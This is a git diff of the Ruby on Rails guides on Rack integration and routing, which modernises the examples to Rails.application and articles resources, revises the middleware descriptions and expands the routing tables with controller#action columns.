index 1fac6d9883..0dec0e139b 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -5,7 +5,6 @@ This guide covers Rails integration with Rack and interfacing with other Rack co
After reading this guide, you will know:
-* How to create Rails Metal applications.
* How to use Rack Middlewares in your Rails applications.
* Action Pack's internal Middleware stack.
* How to define a custom Middleware stack.
@@ -19,7 +18,7 @@ Introduction to Rack
Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+* [Rack API Documentation](http://rack.github.io/)
Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
@@ -28,7 +27,9 @@ Rails on Rack
### Rails Application's Rack Object
-`ApplicationName::Application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ApplicationName::Application` object to serve a Rails application.
+`Rails.application` is the primary Rack application object of a Rails
+application. Any Rack compliant web server should be using
+`Rails.application` object to serve a Rails application.
### `rails server`
@@ -37,11 +38,11 @@ Rails on Rack
Here's how `rails server` creates an instance of `Rack::Server`
```ruby
-Rails::Server.new.tap { |server|
+Rails::Server.new.tap do |server|
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
-}
+end
```
The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
@@ -79,11 +80,11 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi
```ruby
# Rails.root/config.ru
-require "config/environment"
+require ::File.expand_path('../config/environment', __FILE__)
-use Rack::Debugger
+use Rails::Rack::Debugger
use Rack::ContentLength
-run ApplicationName::Application
+run Rails.application
```
And start the server:
@@ -98,10 +99,14 @@ To find out more about different `rackup` options:
$ rackup --help
```
+### Development and auto-reloading
+
+Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.
+
Action Dispatcher Middleware Stack
----------------------------------
-Many of Action Dispatchers's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
@@ -110,12 +115,13 @@ NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`,
Rails has a handy rake task for inspecting the middleware stack in use:
```bash
-$ rake middleware
+$ bin/rake middleware
```
For a freshly generated Rails application, this might produce something like:
```ruby
+use Rack::Sendfile
use ActionDispatch::Static
use Rack::Lock
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
@@ -128,6 +134,7 @@ use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
@@ -137,11 +144,10 @@ use ActionDispatch::ParamsParser
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
-use ActionDispatch::BestStandardsSupport
-run MyApp::Application.routes
+run Rails.application.routes
```
-Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
### Configuring Middleware Stack
@@ -179,27 +185,26 @@ You can swap an existing middleware in the middleware stack using `config.middle
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
```
-#### Middleware Stack is an Enumerable
+#### Deleting a Middleware
-The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
-
-Append following lines to your application configuration:
+Add the following lines to your application configuration:
```ruby
# config/application.rb
config.middleware.delete "Rack::Lock"
```
-And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` is
+not a part of it.
```bash
-$ rake middleware
+$ bin/rake middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
use Rack::Runtime
...
-run Blog::Application.routes
+run Rails.application.routes
```
If you want to remove session related middleware, do the following:
@@ -215,7 +220,6 @@ And to remove browser related middleware,
```ruby
# config/application.rb
-config.middleware.delete "ActionDispatch::BestStandardsSupport"
config.middleware.delete "Rack::MethodOverride"
```
@@ -223,122 +227,106 @@ config.middleware.delete "Rack::MethodOverride"
Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
- **`ActionDispatch::Static`**
+**`Rack::Sendfile`**
+
+* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
+
+**`ActionDispatch::Static`**
-* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+* Used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
- **`Rack::Lock`**
+**`Rack::Lock`**
-* Sets `env["rack.multithread"]` flag to `true` and wraps the application within a Mutex.
+* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
- **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
* Used for memory caching. This cache is not thread safe.
- **`Rack::Runtime`**
+**`Rack::Runtime`**
* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
- **`Rack::MethodOverride`**
+**`Rack::MethodOverride`**
* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
- **`ActionDispatch::RequestId`**
+**`ActionDispatch::RequestId`**
* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
- **`Rails::Rack::Logger`**
+**`Rails::Rack::Logger`**
* Notifies the logs that the request has began. After request is complete, flushes all the logs.
- **`ActionDispatch::ShowExceptions`**
+**`ActionDispatch::ShowExceptions`**
* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
- **`ActionDispatch::DebugExceptions`**
+**`ActionDispatch::DebugExceptions`**
* Responsible for logging exceptions and showing a debugging page in case the request is local.
- **`ActionDispatch::RemoteIp`**
+**`ActionDispatch::RemoteIp`**
* Checks for IP spoofing attacks.
- **`ActionDispatch::Reloader`**
+**`ActionDispatch::Reloader`**
* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
- **`ActionDispatch::Callbacks`**
+**`ActionDispatch::Callbacks`**
-* Runs the prepare callbacks before serving the request.
+* Provides callbacks to be executed before and after dispatching the request.
- **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+**`ActiveRecord::Migration::CheckPending`**
+
+* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending.
+
+**`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
- **`ActiveRecord::QueryCache`**
+**`ActiveRecord::QueryCache`**
* Enables the Active Record query cache.
- **`ActionDispatch::Cookies`**
+**`ActionDispatch::Cookies`**
* Sets cookies for the request.
- **`ActionDispatch::Session::CookieStore`**
+**`ActionDispatch::Session::CookieStore`**
* Responsible for storing the session in cookies.
- **`ActionDispatch::Flash`**
+**`ActionDispatch::Flash`**
* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
- **`ActionDispatch::ParamsParser`**
+**`ActionDispatch::ParamsParser`**
* Parses out parameters from the request into `params`.
- **`ActionDispatch::Head`**
+**`Rack::Head`**
* Converts HEAD requests to `GET` requests and serves them as so.
- **`Rack::ConditionalGet`**
+**`Rack::ConditionalGet`**
* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
- **`Rack::ETag`**
+**`Rack::ETag`**
* Adds ETag header on all String bodies. ETags are used to validate cache.
- **`ActionDispatch::BestStandardsSupport`**
-
-* Enables “best standards support†so that IE8 renders some elements correctly.
-
TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-### Using Rack Builder
-
-The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-```ruby
-# config/application.rb
-config.middleware.clear
-```
-
-<br />
-<strong>Add a `config.ru` file to `Rails.root`</strong>
-
-```ruby
-# config.ru
-use MyOwnStackFromScratch
-run ApplicationName::Application
-```
-
Resources
---------
### Learning Rack
-* [Official Rack Website](http://rack.github.com)
+* [Official Rack Website](http://rack.github.io)
* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack)
* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder)
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 241a7cfec6..b1a287f53a 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -36,7 +36,7 @@ the request is dispatched to the `patients` controller's `show` action with `{ i
### Generating Paths and URLs from Code
-You can also generate paths and URLs. If the route above is modified to be:
+You can also generate paths and URLs. If the route above is modified to be:
```ruby
get '/patients/:id', to: 'patients#show', as: 'patient'
@@ -89,15 +89,15 @@ resources :photos
creates seven different routes in your application, all mapping to the `Photos` controller:
-| HTTP Verb | Path | Action | Used for |
-| --------- | ---------------- | ------- | -------------------------------------------- |
-| GET | /photos | index | display a list of all photos |
-| GET | /photos/new | new | return an HTML form for creating a new photo |
-| POST | /photos | create | create a new photo |
-| GET | /photos/:id | show | display a specific photo |
-| GET | /photos/:id/edit | edit | return an HTML form for editing a photo |
-| PATCH/PUT | /photos/:id | update | update a specific photo |
-| DELETE | /photos/:id | destroy | delete a specific photo |
+| HTTP Verb | Path | Controller#Action | Used for |
+| --------- | ---------------- | ----------------- | -------------------------------------------- |
+| GET | /photos | photos#index | display a list of all photos |
+| GET | /photos/new | photos#new | return an HTML form for creating a new photo |
+| POST | /photos | photos#create | create a new photo |
+| GET | /photos/:id | photos#show | display a specific photo |
+| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo |
+| PATCH/PUT | /photos/:id | photos#update | update a specific photo |
+| DELETE | /photos/:id | photos#destroy | delete a specific photo |
NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
@@ -138,6 +138,12 @@ Sometimes, you have a resource that clients always look up without referencing a
get 'profile', to: 'users#show'
```
+Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+
+```ruby
+get 'profile', to: :show
+```
+
This resourceful route:
```ruby
@@ -146,16 +152,16 @@ resource :geocoder
creates six different routes in your application, all mapping to the `Geocoders` controller:
-| HTTP Verb | Path | Action | Used for |
-| --------- | -------------- | ------- | --------------------------------------------- |
-| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
-| POST | /geocoder | create | create the new geocoder |
-| GET | /geocoder | show | display the one and only geocoder resource |
-| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder |
-| PATCH/PUT | /geocoder | update | update the one and only geocoder resource |
-| DELETE | /geocoder | destroy | delete the geocoder resource |
+| HTTP Verb | Path | Controller#Action | Used for |
+| --------- | -------------- | ----------------- | --------------------------------------------- |
+| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder |
+| POST | /geocoder | geocoders#create | create the new geocoder |
+| GET | /geocoder | geocoders#show | display the one and only geocoder resource |
+| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder |
+| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource |
+| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource |
-NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers.
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
A singular resourceful route generates these helpers:
@@ -165,67 +171,75 @@ A singular resourceful route generates these helpers:
As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so:
+
+```ruby
+form_for @geocoder, url: geocoder_path do |f|
+```
+
### Controller Namespaces and Routing
You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
```ruby
namespace :admin do
- resources :posts, :comments
+ resources :articles, :comments
end
```
-This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create:
-| HTTP Verb | Path | Action | Used for |
-| --------- | --------------------- | ------- | ------------------------- |
-| GET | /admin/posts | index | admin_posts_path |
-| GET | /admin/posts/new | new | new_admin_post_path |
-| POST | /admin/posts | create | admin_posts_path |
-| GET | /admin/posts/:id | show | admin_post_path(:id) |
-| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) |
-| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ------------------------ | ---------------------- | ---------------------------- |
+| GET | /admin/articles | admin/articles#index | admin_articles_path |
+| GET | /admin/articles/new | admin/articles#new | new_admin_article_path |
+| POST | /admin/articles | admin/articles#create | admin_articles_path |
+| GET | /admin/articles/:id | admin/articles#show | admin_article_path(:id) |
+| GET | /admin/articles/:id/edit | admin/articles#edit | edit_admin_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id | admin/articles#update | admin_article_path(:id) |
+| DELETE | /admin/articles/:id | admin/articles#destroy | admin_article_path(:id) |
-If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
+If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use:
```ruby
scope module: 'admin' do
- resources :posts, :comments
+ resources :articles, :comments
end
```
or, for a single case:
```ruby
-resources :posts, module: 'admin'
+resources :articles, module: 'admin'
```
-If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use:
+If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use:
```ruby
scope '/admin' do
- resources :posts, :comments
+ resources :articles, :comments
end
```
or, for a single case:
```ruby
-resources :posts, path: '/admin/posts'
+resources :articles, path: '/admin/articles'
```
In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | --------------------- | ------- | ------------------- |
-| GET | /admin/posts | index | posts_path |
-| GET | /admin/posts/new | new | new_post_path |
-| POST | /admin/posts | create | posts_path |
-| GET | /admin/posts/:id | show | post_path(:id) |
-| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) |
-| PATCH/PUT | /admin/posts/:id | update | post_path(:id) |
-| DELETE | /admin/posts/:id | destroy | post_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ------------------------ | -------------------- | ---------------------- |
+| GET | /admin/articles | articles#index | articles_path |
+| GET | /admin/articles/new | articles#new | new_article_path |
+| POST | /admin/articles | articles#create | articles_path |
+| GET | /admin/articles/:id | articles#show | article_path(:id) |
+| GET | /admin/articles/:id/edit | articles#edit | edit_article_path(:id) |
+| PATCH/PUT | /admin/articles/:id | articles#update | article_path(:id) |
+| DELETE | /admin/articles/:id | articles#destroy | article_path(:id) |
+
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
### Nested Resources
@@ -251,15 +265,15 @@ end
In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
-| HTTP Verb | Path | Action | Used for |
-| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
-| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine |
-| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine |
-| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine |
-| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine |
-| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine |
-| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine |
-| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine |
+| HTTP Verb | Path | Controller#Action | Used for |
+| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
+| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine |
+| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine |
+| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine |
This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
@@ -290,7 +304,7 @@ TIP: _Resources should never be nested more than 1 level deep._
One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
```ruby
-resources :posts do
+resources :articles do
resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]
@@ -299,7 +313,7 @@ resources :comments, only: [:show, :edit, :update, :destroy]
This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
```ruby
-resources :posts do
+resources :articles do
resources :comments, shallow: true
end
```
@@ -307,7 +321,7 @@ end
This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
```ruby
-resources :posts, shallow: true do
+resources :articles, shallow: true do
resources :comments
resources :quotes
resources :drafts
@@ -318,7 +332,7 @@ The `shallow` method of the DSL creates a scope inside of which every nesting is
```ruby
shallow do
- resources :posts do
+ resources :articles do
resources :comments
resources :quotes
resources :drafts
@@ -326,11 +340,11 @@ shallow do
end
```
-There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
```ruby
scope shallow_path: "sekret" do
- resources :posts do
+ resources :articles do
resources :comments, shallow: true
end
end
@@ -338,21 +352,21 @@ end
The comments resource here will have the following routes generated for it:
-| HTTP Verb | Path | Named Helper |
-| --------- | -------------------------------------- | ------------------- |
-| GET | /posts/:post_id/comments(.:format) | post_comments |
-| POST | /posts/:post_id/comments(.:format) | post_comments |
-| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
-| GET | /sekret/comments/:id/edit(.:format) | edit_comment |
-| GET | /sekret/comments/:id(.:format) | comment |
-| PATCH/PUT | /sekret/comments/:id(.:format) | comment |
-| DELETE | /sekret/comments/:id(.:format) | comment |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------------------------- | ----------------- | ------------------------ |
+| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path |
+| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path |
+| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path |
+| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path |
+| GET | /sekret/comments/:id(.:format) | comments#show | comment_path |
+| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path |
+| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path |
The `:shallow_prefix` option adds the specified parameter to the named helpers:
```ruby
scope shallow_prefix: "sekret" do
- resources :posts do
+ resources :articles do
resources :comments, shallow: true
end
end
@@ -360,19 +374,19 @@ end
The comments resource here will have the following routes generated for it:
-| HTTP Verb | Path | Named Helper |
-| --------- | -------------------------------------- | ------------------- |
-| GET | /posts/:post_id/comments(.:format) | post_comments |
-| POST | /posts/:post_id/comments(.:format) | post_comments |
-| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
-| GET | /comments/:id/edit(.:format) | edit_sekret_comment |
-| GET | /comments/:id(.:format) | sekret_comment |
-| PATCH/PUT | /comments/:id(.:format) | sekret_comment |
-| DELETE | /comments/:id(.:format) | sekret_comment |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------------------------- | ----------------- | --------------------------- |
+| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path |
+| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path |
+| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path |
+| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path |
+| GET | /comments/:id(.:format) | comments#show | sekret_comment_path |
+| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path |
+| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path |
### Routing concerns
-Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern:
+Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern:
```ruby
concern :commentable do
@@ -389,7 +403,7 @@ These concerns can be used in resources to avoid code duplication and share beha
```ruby
resources :messages, concerns: :commentable
-resources :posts, concerns: [:commentable, :image_attachable]
+resources :articles, concerns: [:commentable, :image_attachable]
```
The above is equivalent to:
@@ -399,7 +413,7 @@ resources :messages do
resources :comments
end
-resources :posts do
+resources :articles do
resources :comments
resources :images, only: :index
end
@@ -408,7 +422,7 @@ end
Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
```ruby
-namespace :posts do
+namespace :articles do
concerns :commentable
end
```
@@ -471,9 +485,12 @@ resources :photos do
end
```
-This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+Within the block of member routes, each route name specifies the HTTP verb
+will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
+. If you don't have multiple `member` routes, you can also pass `:on` to a
+route, eliminating the block:
```ruby
resources :photos do
@@ -481,6 +498,8 @@ resources :photos do
end
```
+You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+
#### Adding Collection Routes
To add a route to the collection:
@@ -528,7 +547,7 @@ In particular, simple routing makes it very easy to map legacy URLs to new Rails
### Bound Parameters
-When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider one of the default Rails routes:
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider this route:
```ruby
get ':controller(/:action(/:id))'
@@ -612,7 +631,7 @@ This will define a `user_path` method that will be available in controllers, hel
### HTTP Verb Constraints
-In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+In general, you should use the `get`, `post`, `put`, `patch` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
```ruby
match 'photos', to: 'photos#show', via: [:get, :post]
@@ -626,6 +645,8 @@ match 'photos', to: 'photos#show', via: :all
NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+NOTE: 'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
+
### Segment Constraints
You can use the `:constraints` option to enforce a format for a dynamic segment:
@@ -643,26 +664,26 @@ get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
```ruby
-get '/:id', to: 'posts#show', constraints: {id: /^\d/}
+get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
```
However, note that you don't need to use anchors because all routes are anchored at the start.
-For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
```ruby
-get '/:id', to: 'posts#show', constraints: { id: /\d.+/ }
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'
```
### Request-Based Constraints
-You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`.
You specify a request-based constraint the same way that you specify a segment constraint:
```ruby
-get 'photos', constraints: {subdomain: 'admin'}
+get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
```
You can also specify constraints in a block form:
@@ -675,6 +696,8 @@ namespace :admin do
end
```
+NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+
### Advanced Constraints
If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
@@ -690,7 +713,7 @@ class BlacklistConstraint
end
end
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: BlacklistConstraint.new
end
@@ -699,7 +722,7 @@ end
You can also specify constraints as a lambda:
```ruby
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
end
@@ -733,7 +756,7 @@ get '*a/foo/*b', to: 'test#index'
would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
-NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
```ruby
get '*pages', to: 'pages#show', format: false
@@ -750,20 +773,20 @@ get '*pages', to: 'pages#show', format: true
You can redirect any path to another path using the `redirect` helper in your router:
```ruby
-get '/stories', to: redirect('/posts')
+get '/stories', to: redirect('/articles')
```
You can also reuse dynamic segments from the match in the path to redirect to:
```ruby
-get '/stories/:name', to: redirect('/posts/%{name}')
+get '/stories/:name', to: redirect('/articles/%{name}')
```
-You can also provide a block to redirect, which receives the params and the request object:
+You can also provide a block to redirect, which receives the symbolized path parameters and the request object:
```ruby
-get '/stories/:name', to: redirect {|params, req| "/posts/#{params[:name].pluralize}" }
-get '/stories', to: redirect {|p, req| "/posts/#{req.subdomain}" }
+get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
```
Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
@@ -772,7 +795,7 @@ In all of these cases, if you don't provide the leading host (`http://www.exampl
### Routing to Rack Applications
-Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher:
+Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:
```ruby
match '/application.js', to: Sprockets, via: :all
@@ -780,7 +803,7 @@ match '/application.js', to: Sprockets, via: :all
As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
-NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.
### Using `root`
@@ -791,10 +814,20 @@ root to: 'pages#main'
root 'pages#main' # shortcut for the above
```
-You should put the `root` route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the `public/index.html` file for the root route to take effect.
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
